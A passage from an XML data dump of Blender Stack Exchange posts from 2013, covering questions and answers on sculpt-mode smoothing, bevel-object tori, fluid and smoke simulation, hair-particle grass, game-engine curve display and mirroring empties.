noreferrer&quot;&gt;&lt;em&gt;Sculpting&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter sculpt mode (in &lt;em&gt;3D view &amp;gt; Header&lt;/em&gt;) with your object selected:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XlxTF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pick the &lt;em&gt;Smooth&lt;/em&gt; brush (&lt;kbd&gt;S&lt;/kbd&gt;) or &lt;em&gt;Tool shelf &amp;gt; Brush&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pmZWk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sculpt over the ridge with &lt;kbd&gt;LMB&lt;/kbd&gt;:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Before:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bld4o.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;After:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gmSpP.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-15T20:42:14.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5563" PostTypeId="2" ParentId="5561" CreationDate="2013-12-15T20:24:15.267" Score="5" Body="&lt;p&gt;I'd try &lt;code&gt;Sculpt mode&lt;/code&gt;, then hold &lt;kbd&gt;Shift&lt;/kbd&gt; and drag mouse while holding left mouse button over the ridge to smooth it out.&lt;/p&gt;&#xA;" OwnerUserId="1574" LastActivityDate="2013-12-15T20:24:15.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5564" PostTypeId="2" ParentId="5136" CreationDate="2013-12-15T22:00:32.723" Score="9" Body="&lt;p&gt;Another option is to use &lt;em&gt;Sculpting&lt;/em&gt; with &lt;em&gt;Dynamic Topology&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter &lt;em&gt;Sculpt Mode&lt;/em&gt; in &lt;em&gt;3D view &gt; Header&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.66/Dynamic_Topology_Sculpting&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Dynamic Topology&lt;/em&gt;&lt;/a&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;) in &lt;em&gt;Tool Shelf (&lt;kbd&gt;T&lt;/kbd&gt;) &gt; Topology&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1T1R2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the brush tool to &lt;em&gt;Simplify&lt;/em&gt; in &lt;em&gt;3D view &gt; Header &gt; Brush &gt; Brush Tool&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ptZCu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sculpt on the mesh to remove detail. You can adjust the &lt;em&gt;Detail Size&lt;/em&gt; in &lt;em&gt;3D view &gt; Tool shelf &gt; Topology&lt;/em&gt; to change the level of detail the brush paints. Note that this value is in pixels, so it is view dependent. (The more you zoom out the lower the level of detail is)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.71/Painting#Sculpting&quot; rel=&quot;noreferrer&quot;&gt;as of 2.71&lt;/a&gt;, there is now a &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.71/Painting#Sculpting&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;constant detail&lt;/em&gt;&lt;/a&gt; option which is not dependent on zoom. There is also a &lt;em&gt;detail picker&lt;/em&gt;, so you can set the detail based on the density of existing faces.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QNdgd.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-15T02:13:10.977" LastActivityDate="2014-10-15T02:13:10.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5566" PostTypeId="1" AcceptedAnswerId="5568" CreationDate="2013-12-15T22:08:14.040" Score="8" ViewCount="4018" Body="&lt;p&gt;I'm trying to extrude a circle along a circular path, ending up with a torus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I added a Bezier circle centered at &lt;code&gt;0,0,0&lt;/code&gt; and made it &lt;code&gt;10x10&lt;/code&gt; in width and height (to form the path), then I added another circle, also at &lt;code&gt;0,0,0&lt;/code&gt;, and made it &lt;code&gt;2x2&lt;/code&gt; in size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I select the smaller circle as the Bevel Object of the larger circle, the resulting shape resembles a swollen torus with a slight depression in the centre (where the hole would be) and becomes &lt;code&gt;20x20&lt;/code&gt;, larger than I expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried positioning the smaller circle in different places, and at different angles before setting it as the Bevel Object, with similar results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an image of the two curves, then the end result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Z86c.png&quot; alt=&quot;Two curves: the large on for the path and the small for the cross section&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zhX30.png&quot; alt=&quot;The result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just in case it helps anyone else, I think my problem occurred because I was scaling the larger circle (the path for the extrusion) via the Transform panel in Object mode rather than Edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, if you add the (larger) circle, change to Edit mode and scale it to the correct size, and then change back to Object mode and set the Bevel Object, everything works perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if it's related, but a response &lt;a href=&quot;http://blenderunderground.com/forums/viewtopic.php?p=51862&amp;amp;sid=b4bdc5bb4967956c1187f93a32146e01#p51862&quot; rel=&quot;nofollow noreferrer&quot;&gt;on another site&lt;/a&gt; implies that you could also scale in Object mode, then &lt;em&gt;Apply -&gt; Scale&lt;/em&gt;, though this didn't work for me.&lt;/p&gt;&#xA;" OwnerUserId="1859" LastEditorUserId="12" LastEditDate="2013-12-16T02:51:12.093" LastActivityDate="2016-07-04T08:10:42.863" Title="Problems extruding a circle along circular path" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5567" PostTypeId="2" ParentId="5566" CreationDate="2013-12-15T22:19:14.120" Score="5" Body="&lt;p&gt;gandalf3's &lt;a href=&quot;https://blender.stackexchange.com/a/5568/12&quot;&gt;answer&lt;/a&gt; is the most likely answer and solution to the problem. Another thing you could try is shrinking the bevelled object with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;. However, I see no advantages in obtaining a torus from curves that way. Why not just add a &lt;em&gt;Curve &gt; Circle&lt;/em&gt; and tweak the settings. To fatten, increase the depth and to get it smoother/rounder, increase the resoulution. Much easier to tweak and less work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/blGx2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2013-12-15T22:33:49.637" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5568" PostTypeId="2" ParentId="5566" CreationDate="2013-12-15T22:23:18.597" Score="5" Body="&lt;p&gt;If all you want is a torus, then &lt;a href=&quot;https://blender.stackexchange.com/a/5567/599&quot;&gt;iKlsR's answer&lt;/a&gt; is the way to go.&#xA;To answer your question, it sounds like the beveled curve is only scaled in the X and Y axes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a torus with a bevel object:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add two &lt;em&gt;Circle&lt;/em&gt; curves.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the bevel object of one curve to the other curve&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Since the curves are both 2x2, there won't be any hole because the thickness (the diameter of the bevel object) is equal to the diameter of the main curve.&lt;br&gt;&#xA;To fix this simply scale the curve set as the bevel object down.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note that the location and rotation of the bevel object does not matter, so you could position the bevel object like this to prove that the thickness of the torus is equal to the diameter of the bevel object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5eG9H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-12-15T23:20:26.390" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5569" PostTypeId="1" AcceptedAnswerId="5570" CreationDate="2013-12-16T01:24:51.650" Score="9" ViewCount="6878" Body="&lt;p&gt;I have built a water slide and pool and I want to make a animation of the water running down the slide and into the pool. The problem is I need the water to be created at the top and go away at the bottom to create a continues stream of water. What would be the best way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KE1J3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="599" LastEditDate="2013-12-16T01:36:58.180" LastActivityDate="2013-12-16T01:36:58.180" Title="How to create a continuous flow of water?" Tags="&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5570" PostTypeId="2" ParentId="5569" CreationDate="2013-12-16T01:33:34.913" Score="8" Body="&lt;p&gt;You will need an &lt;em&gt;Inflow&lt;/em&gt; object and an &lt;em&gt;Outflow&lt;/em&gt; object.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Setup your domain object. Add a cube that encloses the entire area you want the water to go (don't make it to big though, as the larger it is the more CPU time your bake will require). Then add a fluid modifier in the &lt;em&gt;Physics&lt;/em&gt; panel with the type set to &lt;em&gt;Domain&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the inflow object at the top of the slide and the outflow object at the bottom. Add fluid modifiers with the appropriate types to the objects.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an &lt;em&gt;Obstacle&lt;/em&gt; type fluid modifier to the slide and anything else you want to collide with the fluid.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bake&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-12-16T01:33:34.913" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="5571" PostTypeId="2" ParentId="5090" CreationDate="2013-12-16T03:50:00.850" Score="2" Body="&lt;p&gt;Particle systems can't be linked into a scene dynamically. So you can't change the shape of the hair from what it is in the original file. You'll have to append the emitter as a local object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative, for braided hair that could work well, is to model the braids as a mesh object with either particles wrapped around it or a texture. Then use the curve guides+hooks+armature proxy system to animate that.&lt;/p&gt;&#xA;" OwnerUserId="737" LastActivityDate="2013-12-16T03:50:00.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5574" PostTypeId="1" AcceptedAnswerId="5575" CreationDate="2013-12-16T05:28:02.850" Score="9" ViewCount="20223" Body="&lt;p&gt;How do you remove the default cube that appears in the scene upon opening the software? I wish to start with a blank scene when opening Blender.&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2013-12-16T05:28:02.850" Title="How to remove the default cube?" Tags="&lt;customization&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ClosedDate="2013-12-16T13:22:03.863" CommunityOwnedDate="2013-12-16T13:21:45.940" ContentLicense="CC BY-SA 3.0" />
  <row Id="5575" PostTypeId="2" ParentId="5574" CreationDate="2013-12-16T05:28:02.850" Score="19" Body="&lt;p&gt;&lt;strong&gt;Delete the cube:&lt;/strong&gt;&#xA;Starting with the unchanged default scene, select the cube (&lt;kbd&gt;RMB&lt;/kbd&gt; click on the cube) then hit &lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;DELETE&lt;/kbd&gt; and &lt;kbd&gt;RMB&lt;/kbd&gt; click the following popup. You may also repeat this step on the camera and light if you wish to start with a completely blank scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Save the startup file:&lt;/strong&gt;&#xA;Click &lt;em&gt;File &gt; Save Startup File&lt;/em&gt; or hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt; and click to confirm. The scene is now saved as the default startup scene and you no longer have the default cube!&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2013-12-16T05:28:02.850" CommentCount="0" CommunityOwnedDate="2013-12-16T13:21:45.940" ContentLicense="CC BY-SA 3.0" />
  <row Id="5577" PostTypeId="1" AcceptedAnswerId="5578" CreationDate="2013-12-16T08:34:04.847" Score="10" ViewCount="15839" Body="&lt;p&gt;If you were using a plane as a terrain, how would you add grass to the plane and make it bend and flow like there was wind. Also, how would you make the grass color vary in shades of green so you would get yellow, dry patches of grass. &lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="1253" LastEditDate="2013-12-16T10:24:50.623" LastActivityDate="2013-12-16T10:24:50.623" Title="How do you create grass?" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5578" PostTypeId="2" ParentId="5577" CreationDate="2013-12-16T09:20:28.930" Score="17" Body="&lt;p&gt;This can be done with a &lt;em&gt;Hair particle system&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a hair particle system to your mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HfLUN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to simulate the hair dynamics with realistic wind, you can use a &lt;em&gt;Smoke simulation&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;smoke domain&lt;/em&gt; object and a &lt;em&gt;Smoke Flow&lt;/em&gt; object&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Wind&lt;/em&gt; force field and a &lt;em&gt;Turbulence&lt;/em&gt; force field (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;Add &gt; Force field&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjust the settings until you have a nice simulation (optionally add some collision objects) and bake the smoke&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable the &lt;em&gt;Wind&lt;/em&gt; and &lt;em&gt;Turbulence&lt;/em&gt; force fields for the particle system in &lt;em&gt;Particles &gt; Field Weights&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FiVsn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Smoke Flow&lt;/em&gt; force field and select the smoke domain object for the domain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Dynamics&lt;/em&gt; in the particle system and increase the &lt;em&gt;Stiffness&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bake the particles, then hide the smoke domain and emitter:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nx7Ai.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the color variation, you could use a &lt;em&gt;Procedural texture&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EGKlz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J89Un.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-12-16T09:20:28.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5579" PostTypeId="1" AcceptedAnswerId="5582" CreationDate="2013-12-16T09:32:27.550" Score="3" ViewCount="672" Body="&lt;p&gt;In the viewport, smoke looks fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8PGdS.png&quot; alt=&quot;Smokey cube in the viewport&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I render it with the OpenGL render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fakfu.png&quot; alt=&quot;Smokey cube rendered with OpenGL&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks white because of the background; it's really transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What causes this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="1253" LastEditDate="2013-12-16T13:19:23.530" LastActivityDate="2013-12-16T14:08:14.700" Title="Why does smoke render as transparent in the OpenGL render?" Tags="&lt;rendering&gt;&lt;smoke-simulation&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5580" PostTypeId="1" AcceptedAnswerId="5581" CreationDate="2013-12-16T11:34:02.187" Score="16" ViewCount="14353" Body="&lt;p&gt;Every time I try to hold water with a obstacle, it leaks out. Here is one example I have made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BvB6O.png&quot; alt=&quot;Water leaking through bowl&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shape has no holes, and the water is partially contained but slowly leaks out. This has occurred every time I have tried this. What could the cause be? &lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="1253" LastEditDate="2013-12-17T07:27:05.027" LastActivityDate="2021-01-23T21:25:31.823" Title="Water leaks through obstacle" Tags="&lt;fluid-simulation&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5581" PostTypeId="2" ParentId="5580" CreationDate="2013-12-16T11:43:22.370" Score="16" Body="&lt;p&gt;Setting the obstacle's volume initialisation to shell seems to have fixed it &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xzR2Z.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea why this works if anyone knows why please add it to the comments. &lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="1165" LastEditDate="2013-12-16T23:12:08.620" LastActivityDate="2013-12-16T23:12:08.620" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5582" PostTypeId="2" ParentId="5579" CreationDate="2013-12-16T14:08:14.700" Score="2" Body="&lt;p&gt;I would consider that a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that when the smoke flow object is set to Fire or Fire+Smoke it renders transparent with opengl render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fire simulator uses it's own material settings to preview in the 3dview - not the material settings that we configure. It would appear that this preview material works in the 3dview but not the opengl render.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-12-16T14:08:14.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5583" PostTypeId="1" AcceptedAnswerId="5584" CreationDate="2013-12-16T14:56:26.907" Score="4" ViewCount="1351" Body="&lt;p&gt;I would like to visualize a curve when the blender game engine is running. In the editor the curve is clearly visible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iDlqQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I run the game engine it is not&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y4whG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to visualize the curve when running the game engine&lt;/p&gt;&#xA;" OwnerUserId="1835" LastEditorUserId="14" LastEditDate="2013-12-16T18:29:08.560" LastActivityDate="2013-12-16T18:29:08.560" Title="Render a Bezier curve in the game engine" Tags="&lt;game-engine&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5584" PostTypeId="2" ParentId="5583" CreationDate="2013-12-16T15:02:37.173" Score="2" Body="&lt;p&gt;Curves are a unique object type, they won't render without depth in the default renderer and even with depth, they won't render in the BGE as these and paths aren't supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To render these, you have to convert to a mesh, use &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &lt;em&gt;&gt; Mesh from Curve/Meta/...&lt;/em&gt;. You can always duplicate and move the original to another layer before converting so you have a backup and in most cases, if the converted mesh is simple enough, you can convert it back to a curve via the same menu.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-12-16T15:07:51.060" LastActivityDate="2013-12-16T15:07:51.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5585" PostTypeId="1" CreationDate="2013-12-16T15:28:25.770" Score="4" ViewCount="1385" Body="&lt;p&gt;I have a rotated empty object, and I want to make a mirror image of it, relative to the global X-axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I placed the 3D cursor at the axis origin, selected the empty and used Ctrl-M X. But the result is not what I want. As you can see in the image, the empty is merely translated to its mirror image location, and its rotation is unaffected. I expected the new empty to be a perfect mirror image of the previous one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug, and is there a way to achieve what I want ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i1357.photobucket.com/albums/q753/adrien79/Divers%20forums/mirror_empty_zps09318f29.jpg&quot; alt=&quot;http://s1357.photobucket.com/user/adrien79/media/Divers%20forums/mirror_empty_zps09318f29.jpg.html&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: After suggestion by Fweeb, I displayed arrows instead of plain axes. It's sort of transformed, but it's not what I expect from mirroring relative to X-axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i1357.photobucket.com/albums/q753/adrien79/Divers%20forums/mirror_empty_2_zpsa92be42a.jpg&quot; alt=&quot;http://s1357.photobucket.com/user/adrien79/media/Divers%20forums/mirror_empty_2_zpsa92be42a.jpg.html&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 2: What I expect is roughly this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i1357.photobucket.com/albums/q753/adrien79/Divers%20forums/mirror_empty_3_zps51668a50.jpg&quot; alt=&quot;http://s1357.photobucket.com/user/adrien79/media/Divers%20forums/mirror_empty_3_zps51668a50.jpg.html&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 3: After the answer by Gandalf3, I played with rotations and obtained the desired effect by setting the rot and scale of the new empty manually: scale x = -1, y = -1, z = -1 to obtain a negatively oriented emtpy, then rotX' = rotX + 180, rotY' = -rotY, rotZ' = - rotZ. It is certainly possible to do the same relative to other axis. But I'm still surprised by Blender's behaviour, and I thought it would do this automatically.&#xA;&lt;img src=&quot;https://i1357.photobucket.com/albums/q753/adrien79/Divers%20forums/mirror_empty_4_zps9a3806d3.jpg&quot; alt=&quot;http://s1357.photobucket.com/user/adrien79/media/Divers%20forums/mirror_empty_4_zps9a3806d3.jpg.html&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1863" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.120" LastActivityDate="2013-12-17T22:41:24.667" Title="How to get the mirror image of an empty?" Tags="&lt;transforms&gt;&lt;mirror&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5586" PostTypeId="2" ParentId="5585" CreationDate="2013-12-16T15:34:54.913" Score="1" Body="&lt;p&gt;Its rotation actually &lt;em&gt;is&lt;/em&gt; changed. You can see this by changing the Empty's display type from &quot;Plain Axes&quot; to &quot;Arrows&quot; (you can do this from the Properties editor).&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-12-16T15:34:54.913" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5587" PostTypeId="2" ParentId="5583" CreationDate="2013-12-16T17:16:24.480" Score="2" Body="&lt;p&gt;If you don't want to loose that ability to edit the curve you could also add a cylinder with an &lt;em&gt;Array&lt;/em&gt; and a &lt;em&gt;Curve Modifier&lt;/em&gt;, this would render in the BGE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9XhoW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-12-16T17:16:24.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5589" PostTypeId="1" AcceptedAnswerId="5590" CreationDate="2013-12-16T21:02:09.603" Score="4" ViewCount="2016" Body="&lt;p&gt;I'll tell you the whole deal so maybe you can help me with ideas at different points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First. I generated a terrain using Sketchup and the Location tool. I had to use a bigger section than what it was possible at 1 time, so i used many (20 or so) terrains and &quot;stitched&quot; them together &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second. I imported everything to Blender as a collada file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now. In Blender, i need to make a section to one of the mountains to show (in a later animation) what's going on inside it.... and that's what have been impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to simply &quot;boolean&quot; it with a plane. and the operation can't be executed... I admit i'm a total newbie... but i thought i should work....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QjYC3.png&quot; alt=&quot;screen-capture of the awful moment&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is not the proper way to do something as simple as this, can anyone tell how would you do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NiHGH.png&quot; alt=&quot;Messy Mesh after trying to &amp;quot;Select Loop Inner Region&amp;quot;&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1ucQB.png&quot; alt=&quot;Messy Mesh after trying to &amp;quot;Select Boundary Loop&amp;quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, after tryin to put in practice the solutions you kindly lend to me, i keep having a problem. &#xA;My favorite solution is with the bisect tool... but i can't find a way to keep both halves in a clean way after the bisection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an useful &lt;a 